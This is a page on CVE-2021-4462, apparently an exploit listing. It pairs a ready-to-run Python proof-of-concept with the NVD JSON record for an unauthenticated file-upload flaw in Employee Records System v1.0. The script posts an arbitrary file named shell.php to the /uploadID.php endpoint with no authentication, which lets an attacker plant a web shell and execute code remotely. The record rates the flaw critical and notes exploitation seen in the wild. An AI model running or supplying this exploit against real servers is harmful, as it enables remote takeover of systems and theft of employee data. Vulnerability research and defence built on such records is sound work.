CVE-2021-4462

import requests import sys # CVE-2021-4462 PoC - Employee Records System Unrestricted File Upload # Target: Employee Records System v1.0 # Endpoint: /uploadID.php def exploit(target_url, file_path): """ Exploit for CVE-2021-4462 Upload arbitrary file via uploadID.php endpoint """ upload_url = f"{target_url}/uploadID.php" # Read the file to upload with open(file_path, 'rb') as f: file_content = f.read() # Prepare the malicious file upload request files = { 'file': ('shell.php', file_content, 'application/x-php') } try: # Send the upload request without authentication response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Response: {response.text}") # The uploaded file path is typically returned in response return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_to_upload>") print(f"Example: python {sys.argv[0]} http://vulnerable.com shell.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)

{"cve": {"id": "CVE-2021-4462", "sourceIdentifier": "[email protected]", "published": "2025-11-10T23:15:40.967", "lastModified": "2025-11-24T12:57:17.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Employee Records System version 1.0 contains an unrestricted file upload vulnerability that allows a remote unauthenticated attacker to upload arbitrary files via the uploadID.php endpoint; uploaded files can be executed because the application does not perform proper server-side validation. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-06 UTC."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:skittles:employee_records_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "0F70C08F-9A4A-4203-B89E-8D56EE8531C0"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49596", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.sourcecodester.com/php/11393/employee-records-system.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/employees-records-system-arbitrary-file-upload-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/49596", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}